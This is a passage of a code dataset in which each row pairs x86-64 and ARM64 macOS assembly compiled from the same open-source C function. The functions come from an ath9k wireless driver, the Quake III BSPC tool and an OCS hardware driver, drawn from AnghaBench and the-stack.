x86 stringlengths 122 5.97M | arm stringlengths 122 5.84M | file stringlengths 18 195 | source stringclasses 3
values |
|---|---|---|---|
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/36359.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ar9003_hw_attach_phy_ops ## -- Begin function ar9003_hw_attach_phy_ops
.p2align 4, 0x90
_ar9003_hw_attach_phy_ops: ## @ar9003_hw_attach_phy_ops
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %r14
callq _ath9k_hw_private_ops
movq %rax, %rbx
movq %r14, %rdi
callq _ath9k_hw_ops
movq _ar9003_hw_set_channel@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 60(%rbx)
movq _ar9003_hw_spur_mitigate@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 56(%rbx)
movq _ar9003_hw_compute_pll_control@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 52(%rbx)
movq _ar9003_hw_set_channel_regs@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 48(%rbx)
movq _ar9003_hw_init_bb@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 44(%rbx)
movq _ar9003_hw_process_ini@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 40(%rbx)
movq _ar9003_hw_set_rfmode@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 36(%rbx)
movq _ar9003_hw_mark_phy_inactive@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 32(%rbx)
movq _ar9003_hw_set_delta_slope@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 28(%rbx)
movq _ar9003_hw_rfbus_req@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 24(%rbx)
movq _ar9003_hw_rfbus_done@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 20(%rbx)
movq _ar9003_hw_ani_control@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 16(%rbx)
movq _ar9003_hw_do_getnf@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 12(%rbx)
movq _ar9003_hw_ani_cache_ini_regs@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 8(%rbx)
movq _ar9003_hw_set_radar_params@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 4(%rbx)
movq _ar9003_hw_fast_chan_change@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, (%rbx)
movq _ar9003_hw_antdiv_comb_conf_get@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 20(%rax)
movq _ar9003_hw_antdiv_comb_conf_set@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 16(%rax)
movq _ar9003_hw_antctrl_shared_chain_lnadiv@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 12(%rax)
movq _ar9003_hw_spectral_scan_config@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 8(%rax)
movq _ar9003_hw_spectral_scan_trigger@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, 4(%rax)
movq _ar9003_hw_spectral_scan_wait@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movl %ecx, (%rax)
movq %r14, %rdi
callq _ar9003_hw_set_nf_limits
movq %r14, %rdi
callq _ar9003_hw_set_radar_conf
movl (%r14), %edi
leaq _ar9003_hw_attach_phy_ops.ar9300_cca_regs(%rip), %rsi
movl $4, %edx
popq %rbx
popq %r14
popq %rbp
jmp _memcpy ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4 ## @ar9003_hw_attach_phy_ops.ar9300_cca_regs
_ar9003_hw_attach_phy_ops.ar9300_cca_regs:
.long 133 ## 0x85
.long 132 ## 0x84
.long 131 ## 0x83
.long 130 ## 0x82
.long 129 ## 0x81
.long 128 ## 0x80
.comm _ar9003_hw_set_channel,4,2 ## @ar9003_hw_set_channel
.comm _ar9003_hw_spur_mitigate,4,2 ## @ar9003_hw_spur_mitigate
.comm _ar9003_hw_compute_pll_control,4,2 ## @ar9003_hw_compute_pll_control
.comm _ar9003_hw_set_channel_regs,4,2 ## @ar9003_hw_set_channel_regs
.comm _ar9003_hw_init_bb,4,2 ## @ar9003_hw_init_bb
.comm _ar9003_hw_process_ini,4,2 ## @ar9003_hw_process_ini
.comm _ar9003_hw_set_rfmode,4,2 ## @ar9003_hw_set_rfmode
.comm _ar9003_hw_mark_phy_inactive,4,2 ## @ar9003_hw_mark_phy_inactive
.comm _ar9003_hw_set_delta_slope,4,2 ## @ar9003_hw_set_delta_slope
.comm _ar9003_hw_rfbus_req,4,2 ## @ar9003_hw_rfbus_req
.comm _ar9003_hw_rfbus_done,4,2 ## @ar9003_hw_rfbus_done
.comm _ar9003_hw_ani_control,4,2 ## @ar9003_hw_ani_control
.comm _ar9003_hw_do_getnf,4,2 ## @ar9003_hw_do_getnf
.comm _ar9003_hw_ani_cache_ini_regs,4,2 ## @ar9003_hw_ani_cache_ini_regs
.comm _ar9003_hw_set_radar_params,4,2 ## @ar9003_hw_set_radar_params
.comm _ar9003_hw_fast_chan_change,4,2 ## @ar9003_hw_fast_chan_change
.comm _ar9003_hw_antdiv_comb_conf_get,4,2 ## @ar9003_hw_antdiv_comb_conf_get
.comm _ar9003_hw_antdiv_comb_conf_set,4,2 ## @ar9003_hw_antdiv_comb_conf_set
.comm _ar9003_hw_antctrl_shared_chain_lnadiv,4,2 ## @ar9003_hw_antctrl_shared_chain_lnadiv
.comm _ar9003_hw_spectral_scan_config,4,2 ## @ar9003_hw_spectral_scan_config
.comm _ar9003_hw_spectral_scan_trigger,4,2 ## @ar9003_hw_spectral_scan_trigger
.comm _ar9003_hw_spectral_scan_wait,4,2 ## @ar9003_hw_spectral_scan_wait
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ar9003_hw_attach_phy_ops ; -- Begin function ar9003_hw_attach_phy_ops
.p2align 2
_ar9003_hw_attach_phy_ops: ; @ar9003_hw_attach_phy_ops
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _ath9k_hw_private_ops
mov x20, x0
mov x0, x19
bl _ath9k_hw_ops
Lloh0:
adrp x8, _ar9003_hw_set_channel@GOTPAGE
Lloh1:
ldr x8, [x8, _ar9003_hw_set_channel@GOTPAGEOFF]
Lloh2:
adrp x9, _ar9003_hw_spur_mitigate@GOTPAGE
Lloh3:
ldr x9, [x9, _ar9003_hw_spur_mitigate@GOTPAGEOFF]
Lloh4:
ldr w8, [x8]
Lloh5:
ldr w9, [x9]
stp w9, w8, [x20, #56]
Lloh6:
adrp x8, _ar9003_hw_compute_pll_control@GOTPAGE
Lloh7:
ldr x8, [x8, _ar9003_hw_compute_pll_control@GOTPAGEOFF]
Lloh8:
ldr w8, [x8]
Lloh9:
adrp x9, _ar9003_hw_set_channel_regs@GOTPAGE
Lloh10:
ldr x9, [x9, _ar9003_hw_set_channel_regs@GOTPAGEOFF]
Lloh11:
ldr w9, [x9]
stp w9, w8, [x20, #48]
Lloh12:
adrp x8, _ar9003_hw_init_bb@GOTPAGE
Lloh13:
ldr x8, [x8, _ar9003_hw_init_bb@GOTPAGEOFF]
Lloh14:
ldr w8, [x8]
Lloh15:
adrp x9, _ar9003_hw_process_ini@GOTPAGE
Lloh16:
ldr x9, [x9, _ar9003_hw_process_ini@GOTPAGEOFF]
Lloh17:
ldr w9, [x9]
stp w9, w8, [x20, #40]
Lloh18:
adrp x8, _ar9003_hw_set_rfmode@GOTPAGE
Lloh19:
ldr x8, [x8, _ar9003_hw_set_rfmode@GOTPAGEOFF]
Lloh20:
adrp x9, _ar9003_hw_mark_phy_inactive@GOTPAGE
Lloh21:
ldr x9, [x9, _ar9003_hw_mark_phy_inactive@GOTPAGEOFF]
Lloh22:
ldr w8, [x8]
Lloh23:
ldr w9, [x9]
stp w9, w8, [x20, #32]
Lloh24:
adrp x8, _ar9003_hw_set_delta_slope@GOTPAGE
Lloh25:
ldr x8, [x8, _ar9003_hw_set_delta_slope@GOTPAGEOFF]
Lloh26:
ldr w8, [x8]
Lloh27:
adrp x9, _ar9003_hw_rfbus_req@GOTPAGE
Lloh28:
ldr x9, [x9, _ar9003_hw_rfbus_req@GOTPAGEOFF]
Lloh29:
ldr w9, [x9]
stp w9, w8, [x20, #24]
Lloh30:
adrp x8, _ar9003_hw_rfbus_done@GOTPAGE
Lloh31:
ldr x8, [x8, _ar9003_hw_rfbus_done@GOTPAGEOFF]
Lloh32:
ldr w8, [x8]
Lloh33:
adrp x9, _ar9003_hw_ani_control@GOTPAGE
Lloh34:
ldr x9, [x9, _ar9003_hw_ani_control@GOTPAGEOFF]
Lloh35:
ldr w9, [x9]
stp w9, w8, [x20, #16]
Lloh36:
adrp x8, _ar9003_hw_do_getnf@GOTPAGE
Lloh37:
ldr x8, [x8, _ar9003_hw_do_getnf@GOTPAGEOFF]
Lloh38:
adrp x9, _ar9003_hw_ani_cache_ini_regs@GOTPAGE
Lloh39:
ldr x9, [x9, _ar9003_hw_ani_cache_ini_regs@GOTPAGEOFF]
Lloh40:
ldr w8, [x8]
Lloh41:
ldr w9, [x9]
stp w9, w8, [x20, #8]
Lloh42:
adrp x8, _ar9003_hw_set_radar_params@GOTPAGE
Lloh43:
ldr x8, [x8, _ar9003_hw_set_radar_params@GOTPAGEOFF]
Lloh44:
ldr w8, [x8]
Lloh45:
adrp x9, _ar9003_hw_fast_chan_change@GOTPAGE
Lloh46:
ldr x9, [x9, _ar9003_hw_fast_chan_change@GOTPAGEOFF]
Lloh47:
ldr w9, [x9]
stp w9, w8, [x20]
Lloh48:
adrp x8, _ar9003_hw_antdiv_comb_conf_get@GOTPAGE
Lloh49:
ldr x8, [x8, _ar9003_hw_antdiv_comb_conf_get@GOTPAGEOFF]
Lloh50:
ldr w8, [x8]
Lloh51:
adrp x9, _ar9003_hw_antdiv_comb_conf_set@GOTPAGE
Lloh52:
ldr x9, [x9, _ar9003_hw_antdiv_comb_conf_set@GOTPAGEOFF]
Lloh53:
ldr w9, [x9]
stp w9, w8, [x0, #16]
Lloh54:
adrp x8, _ar9003_hw_antctrl_shared_chain_lnadiv@GOTPAGE
Lloh55:
ldr x8, [x8, _ar9003_hw_antctrl_shared_chain_lnadiv@GOTPAGEOFF]
Lloh56:
adrp x9, _ar9003_hw_spectral_scan_config@GOTPAGE
Lloh57:
ldr x9, [x9, _ar9003_hw_spectral_scan_config@GOTPAGEOFF]
Lloh58:
ldr w8, [x8]
Lloh59:
ldr w9, [x9]
stp w9, w8, [x0, #8]
Lloh60:
adrp x8, _ar9003_hw_spectral_scan_trigger@GOTPAGE
Lloh61:
ldr x8, [x8, _ar9003_hw_spectral_scan_trigger@GOTPAGEOFF]
Lloh62:
ldr w8, [x8]
Lloh63:
adrp x9, _ar9003_hw_spectral_scan_wait@GOTPAGE
Lloh64:
ldr x9, [x9, _ar9003_hw_spectral_scan_wait@GOTPAGEOFF]
Lloh65:
ldr w9, [x9]
stp w9, w8, [x0]
mov x0, x19
bl _ar9003_hw_set_nf_limits
mov x0, x19
bl _ar9003_hw_set_radar_conf
ldr w0, [x19]
Lloh66:
adrp x1, _ar9003_hw_attach_phy_ops.ar9300_cca_regs@PAGE
Lloh67:
add x1, x1, _ar9003_hw_attach_phy_ops.ar9300_cca_regs@PAGEOFF
mov w2, #4
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _memcpy
.loh AdrpAdd Lloh66, Lloh67
.loh AdrpLdrGotLdr Lloh63, Lloh64, Lloh65
.loh AdrpLdrGotLdr Lloh60, Lloh61, Lloh62
.loh AdrpLdrGotLdr Lloh56, Lloh57, Lloh59
.loh AdrpLdrGotLdr Lloh54, Lloh55, Lloh58
.loh AdrpLdrGotLdr Lloh51, Lloh52, Lloh53
.loh AdrpLdrGotLdr Lloh48, Lloh49, Lloh50
.loh AdrpLdrGotLdr Lloh45, Lloh46, Lloh47
.loh AdrpLdrGotLdr Lloh42, Lloh43, Lloh44
.loh AdrpLdrGotLdr Lloh38, Lloh39, Lloh41
.loh AdrpLdrGotLdr Lloh36, Lloh37, Lloh40
.loh AdrpLdrGotLdr Lloh33, Lloh34, Lloh35
.loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32
.loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29
.loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh23
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh22
.loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh4
.cfi_endproc
; -- End function
.section __TEXT,__const
.p2align 2 ; @ar9003_hw_attach_phy_ops.ar9300_cca_regs
_ar9003_hw_attach_phy_ops.ar9300_cca_regs:
.long 133 ; 0x85
.long 132 ; 0x84
.long 131 ; 0x83
.long 130 ; 0x82
.long 129 ; 0x81
.long 128 ; 0x80
.comm _ar9003_hw_set_channel,4,2 ; @ar9003_hw_set_channel
.comm _ar9003_hw_spur_mitigate,4,2 ; @ar9003_hw_spur_mitigate
.comm _ar9003_hw_compute_pll_control,4,2 ; @ar9003_hw_compute_pll_control
.comm _ar9003_hw_set_channel_regs,4,2 ; @ar9003_hw_set_channel_regs
.comm _ar9003_hw_init_bb,4,2 ; @ar9003_hw_init_bb
.comm _ar9003_hw_process_ini,4,2 ; @ar9003_hw_process_ini
.comm _ar9003_hw_set_rfmode,4,2 ; @ar9003_hw_set_rfmode
.comm _ar9003_hw_mark_phy_inactive,4,2 ; @ar9003_hw_mark_phy_inactive
.comm _ar9003_hw_set_delta_slope,4,2 ; @ar9003_hw_set_delta_slope
.comm _ar9003_hw_rfbus_req,4,2 ; @ar9003_hw_rfbus_req
.comm _ar9003_hw_rfbus_done,4,2 ; @ar9003_hw_rfbus_done
.comm _ar9003_hw_ani_control,4,2 ; @ar9003_hw_ani_control
.comm _ar9003_hw_do_getnf,4,2 ; @ar9003_hw_do_getnf
.comm _ar9003_hw_ani_cache_ini_regs,4,2 ; @ar9003_hw_ani_cache_ini_regs
.comm _ar9003_hw_set_radar_params,4,2 ; @ar9003_hw_set_radar_params
.comm _ar9003_hw_fast_chan_change,4,2 ; @ar9003_hw_fast_chan_change
.comm _ar9003_hw_antdiv_comb_conf_get,4,2 ; @ar9003_hw_antdiv_comb_conf_get
.comm _ar9003_hw_antdiv_comb_conf_set,4,2 ; @ar9003_hw_antdiv_comb_conf_set
.comm _ar9003_hw_antctrl_shared_chain_lnadiv,4,2 ; @ar9003_hw_antctrl_shared_chain_lnadiv
.comm _ar9003_hw_spectral_scan_config,4,2 ; @ar9003_hw_spectral_scan_config
.comm _ar9003_hw_spectral_scan_trigger,4,2 ; @ar9003_hw_spectral_scan_trigger
.comm _ar9003_hw_spectral_scan_wait,4,2 ; @ar9003_hw_spectral_scan_wait
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/net/wireless/ath/ath9k/extr_ar9003_phy.c_ar9003_hw_attach_phy_ops.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _AAS_SetTexinfo ## -- Begin function AAS_SetTexinfo
.p2align 4, 0x90
_AAS_SetTexinfo: ## @AAS_SetTexinfo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _CONTENTS_LADDER@GOTPCREL(%rip), %rax
movq _CONTENTS_AREAPORTAL@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
orl (%rax), %ecx
movq _CONTENTS_CLUSTERPORTAL@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_TELEPORTER@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_JUMPPAD@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_DONOTENTER@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_WATER@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_LAVA@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_SLIME@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_WINDOW@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movq _CONTENTS_PLAYERCLIP@GOTPCREL(%rip), %rax
orl (%rax), %ecx
movl 4(%rdi), %r11d
testl %ecx, (%rdi)
je LBB0_4
## %bb.1:
testl %r11d, %r11d
jle LBB0_23
## %bb.2:
movq 8(%rdi), %rdx
movq %r11, %rsi
decq %rsi
movl %r11d, %ecx
andl $3, %ecx
cmpq $3, %rsi
jae LBB0_7
## %bb.3:
xorl %esi, %esi
jmp LBB0_9
LBB0_4:
testl %r11d, %r11d
jle LBB0_23
## %bb.5:
movq 8(%rdi), %r8
movq _SFL_TEXTURED@GOTPCREL(%rip), %rcx
movq _SFL_BEVEL@GOTPCREL(%rip), %rdx
movl (%rdx), %esi
orl (%rcx), %esi
cmpl $1, %r11d
jne LBB0_12
## %bb.6:
xorl %edx, %edx
LBB0_18:
testb $1, %r11b
je LBB0_23
## %bb.19:
shlq $4, %rdx
andl (%r8,%rdx), %esi
jne LBB0_20
## %bb.21:
movq _TEXINFO_NODE@GOTPCREL(%rip), %rax
movq (%rax), %rax
jmp LBB0_22
LBB0_7:
andl $-4, %r11d
leaq 56(%rdx), %rdi
xorl %esi, %esi
.p2align 4, 0x90
LBB0_8: ## =>This Inner Loop Header: Depth=1
movq $0, -48(%rdi)
movq $0, -32(%rdi)
movq $0, -16(%rdi)
movq $0, (%rdi)
addq $4, %rsi
addq $64, %rdi
cmpq %rsi, %r11
jne LBB0_8
LBB0_9:
testq %rcx, %rcx
je LBB0_23
## %bb.10:
shlq $4, %rsi
leaq (%rdx,%rsi), %rax
addq $8, %rax
shlq $4, %rcx
xorl %edx, %edx
.p2align 4, 0x90
LBB0_11: ## =>This Inner Loop Header: Depth=1
movq $0, (%rax,%rdx)
addq $16, %rdx
cmpq %rdx, %rcx
jne LBB0_11
LBB0_23:
popq %rbp
retq
LBB0_12:
movl %r11d, %r10d
andl $-2, %r10d
leaq 24(%r8), %rcx
xorl %edx, %edx
movq _TEXINFO_NODE@GOTPCREL(%rip), %r9
jmp LBB0_13
.p2align 4, 0x90
LBB0_17: ## in Loop: Header=BB0_13 Depth=1
movq %rdi, (%rcx)
addq $2, %rdx
addq $32, %rcx
cmpq %rdx, %r10
je LBB0_18
LBB0_13: ## =>This Inner Loop Header: Depth=1
movl -24(%rcx), %eax
movl $0, %edi
andl %esi, %eax
jne LBB0_15
## %bb.14: ## in Loop: Header=BB0_13 Depth=1
movq (%r9), %rdi
LBB0_15: ## in Loop: Header=BB0_13 Depth=1
movq %rdi, -16(%rcx)
movl -8(%rcx), %eax
movl $0, %edi
andl %esi, %eax
jne LBB0_17
## %bb.16: ## in Loop: Header=BB0_13 Depth=1
movq (%r9), %rdi
jmp LBB0_17
LBB0_20:
xorl %eax, %eax
LBB0_22:
movq %rax, 8(%r8,%rdx)
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _CONTENTS_LADDER,4,2 ## @CONTENTS_LADDER
.comm _CONTENTS_AREAPORTAL,4,2 ## @CONTENTS_AREAPORTAL
.comm _CONTENTS_CLUSTERPORTAL,4,2 ## @CONTENTS_CLUSTERPORTAL
.comm _CONTENTS_TELEPORTER,4,2 ## @CONTENTS_TELEPORTER
.comm _CONTENTS_JUMPPAD,4,2 ## @CONTENTS_JUMPPAD
.comm _CONTENTS_DONOTENTER,4,2 ## @CONTENTS_DONOTENTER
.comm _CONTENTS_WATER,4,2 ## @CONTENTS_WATER
.comm _CONTENTS_LAVA,4,2 ## @CONTENTS_LAVA
.comm _CONTENTS_SLIME,4,2 ## @CONTENTS_SLIME
.comm _CONTENTS_WINDOW,4,2 ## @CONTENTS_WINDOW
.comm _CONTENTS_PLAYERCLIP,4,2 ## @CONTENTS_PLAYERCLIP
.comm _SFL_TEXTURED,4,2 ## @SFL_TEXTURED
.comm _SFL_BEVEL,4,2 ## @SFL_BEVEL
.comm _TEXINFO_NODE,8,3 ## @TEXINFO_NODE
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _AAS_SetTexinfo ; -- Begin function AAS_SetTexinfo
.p2align 2
_AAS_SetTexinfo: ; @AAS_SetTexinfo
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _CONTENTS_LADDER@GOTPAGE
Lloh1:
ldr x8, [x8, _CONTENTS_LADDER@GOTPAGEOFF]
Lloh2:
adrp x9, _CONTENTS_AREAPORTAL@GOTPAGE
Lloh3:
ldr x9, [x9, _CONTENTS_AREAPORTAL@GOTPAGEOFF]
Lloh4:
ldr w8, [x8]
Lloh5:
ldr w9, [x9]
orr w8, w9, w8
Lloh6:
adrp x9, _CONTENTS_CLUSTERPORTAL@GOTPAGE
Lloh7:
ldr x9, [x9, _CONTENTS_CLUSTERPORTAL@GOTPAGEOFF]
Lloh8:
ldr w9, [x9]
orr w8, w8, w9
Lloh9:
adrp x9, _CONTENTS_TELEPORTER@GOTPAGE
Lloh10:
ldr x9, [x9, _CONTENTS_TELEPORTER@GOTPAGEOFF]
Lloh11:
ldr w9, [x9]
Lloh12:
adrp x10, _CONTENTS_JUMPPAD@GOTPAGE
Lloh13:
ldr x10, [x10, _CONTENTS_JUMPPAD@GOTPAGEOFF]
orr w8, w8, w9
Lloh14:
ldr w9, [x10]
orr w8, w8, w9
Lloh15:
adrp x9, _CONTENTS_DONOTENTER@GOTPAGE
Lloh16:
ldr x9, [x9, _CONTENTS_DONOTENTER@GOTPAGEOFF]
Lloh17:
ldr w9, [x9]
orr w8, w8, w9
Lloh18:
adrp x9, _CONTENTS_WATER@GOTPAGE
Lloh19:
ldr x9, [x9, _CONTENTS_WATER@GOTPAGEOFF]
Lloh20:
ldr w9, [x9]
Lloh21:
adrp x10, _CONTENTS_LAVA@GOTPAGE
Lloh22:
ldr x10, [x10, _CONTENTS_LAVA@GOTPAGEOFF]
orr w8, w8, w9
Lloh23:
ldr w9, [x10]
orr w8, w8, w9
Lloh24:
adrp x9, _CONTENTS_SLIME@GOTPAGE
Lloh25:
ldr x9, [x9, _CONTENTS_SLIME@GOTPAGEOFF]
Lloh26:
ldr w9, [x9]
orr w8, w8, w9
Lloh27:
adrp x9, _CONTENTS_WINDOW@GOTPAGE
Lloh28:
ldr x9, [x9, _CONTENTS_WINDOW@GOTPAGEOFF]
Lloh29:
ldr w9, [x9]
Lloh30:
adrp x10, _CONTENTS_PLAYERCLIP@GOTPAGE
Lloh31:
ldr x10, [x10, _CONTENTS_PLAYERCLIP@GOTPAGEOFF]
orr w8, w8, w9
Lloh32:
ldr w9, [x10]
orr w9, w8, w9
ldp w10, w8, [x0]
tst w9, w10
b.eq LBB0_4
; %bb.1:
cmp w8, #1
b.lt LBB0_12
; %bb.2:
ldr x9, [x0, #8]
cmp w8, #4
b.hs LBB0_7
; %bb.3:
mov x10, #0
b LBB0_10
LBB0_4:
cmp w8, #1
b.lt LBB0_12
; %bb.5:
ldr x10, [x0, #8]
Lloh33:
adrp x9, _SFL_TEXTURED@GOTPAGE
Lloh34:
ldr x9, [x9, _SFL_TEXTURED@GOTPAGEOFF]
Lloh35:
adrp x11, _SFL_BEVEL@GOTPAGE
Lloh36:
ldr x11, [x11, _SFL_BEVEL@GOTPAGEOFF]
Lloh37:
ldr w9, [x9]
Lloh38:
ldr w11, [x11]
orr w9, w11, w9
add x10, x10, #8
Lloh39:
adrp x11, _TEXINFO_NODE@GOTPAGE
Lloh40:
ldr x11, [x11, _TEXINFO_NODE@GOTPAGEOFF]
LBB0_6: ; =>This Inner Loop Header: Depth=1
ldur w12, [x10, #-8]
ldr x13, [x11]
tst w9, w12
csel x12, x13, xzr, eq
str x12, [x10], #16
subs x8, x8, #1
b.ne LBB0_6
b LBB0_12
LBB0_7:
and x10, x8, #0xfffffffc
add x11, x9, #40
mov x12, x10
LBB0_8: ; =>This Inner Loop Header: Depth=1
stur xzr, [x11, #-32]
stur xzr, [x11, #-16]
str xzr, [x11]
str xzr, [x11, #16]
add x11, x11, #64
subs x12, x12, #4
b.ne LBB0_8
; %bb.9:
cmp x10, x8
b.eq LBB0_12
LBB0_10:
add x9, x9, x10, lsl #4
add x9, x9, #8
sub x8, x8, x10
LBB0_11: ; =>This Inner Loop Header: Depth=1
str xzr, [x9], #16
subs x8, x8, #1
b.ne LBB0_11
LBB0_12:
ret
.loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32
.loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29
.loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20
.loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh4
.loh AdrpLdrGot Lloh39, Lloh40
.loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh38
.loh AdrpLdrGotLdr Lloh33, Lloh34, Lloh37
.cfi_endproc
; -- End function
.comm _CONTENTS_LADDER,4,2 ; @CONTENTS_LADDER
.comm _CONTENTS_AREAPORTAL,4,2 ; @CONTENTS_AREAPORTAL
.comm _CONTENTS_CLUSTERPORTAL,4,2 ; @CONTENTS_CLUSTERPORTAL
.comm _CONTENTS_TELEPORTER,4,2 ; @CONTENTS_TELEPORTER
.comm _CONTENTS_JUMPPAD,4,2 ; @CONTENTS_JUMPPAD
.comm _CONTENTS_DONOTENTER,4,2 ; @CONTENTS_DONOTENTER
.comm _CONTENTS_WATER,4,2 ; @CONTENTS_WATER
.comm _CONTENTS_LAVA,4,2 ; @CONTENTS_LAVA
.comm _CONTENTS_SLIME,4,2 ; @CONTENTS_SLIME
.comm _CONTENTS_WINDOW,4,2 ; @CONTENTS_WINDOW
.comm _CONTENTS_PLAYERCLIP,4,2 ; @CONTENTS_PLAYERCLIP
.comm _SFL_TEXTURED,4,2 ; @SFL_TEXTURED
.comm _SFL_BEVEL,4,2 ; @SFL_BEVEL
.comm _TEXINFO_NODE,8,3 ; @TEXINFO_NODE
.subsections_via_symbols
| AnghaBench/Quake-III-Arena/code/bspc/extr_aas_map.c_AAS_SetTexinfo.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ocs_hw_dump_get ## -- Begin function ocs_hw_dump_get
.p2align 4, 0x90
_ocs_hw_dump_get: ## @ocs_hw_dump_get
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $56, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r9, -48(%rbp) ## 8-byte Spill
movl %r8d, -52(%rbp) ## 4-byte Spill
movq %rcx, -88(%rbp) ## 8-byte Spill
movq %rdx, -80(%rbp) ## 8-byte Spill
movq %rsi, -72(%rbp) ## 8-byte Spill
movq %rdi, %rbx
movq _OCS_HW_RTN_ERROR@GOTPCREL(%rip), %r13
movq (%rdi), %rax
movq _OCS_HW_STATE_ACTIVE@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_1
## %bb.2:
movq _OCS_CMD_NOWAIT@GOTPCREL(%rip), %rax
jmp LBB0_3
LBB0_1:
movq _OCS_CMD_POLL@GOTPCREL(%rip), %rax
LBB0_3:
movq (%r13), %r14
movq (%rax), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
movq _SLI4_IF_TYPE_LANCER_FC_ETH@GOTPCREL(%rip), %rax
movq (%rax), %r15
leaq 12(%rbx), %r12
movq %r12, %rdi
callq _sli_get_if_type
cmpq %rax, %r15
jne LBB0_4
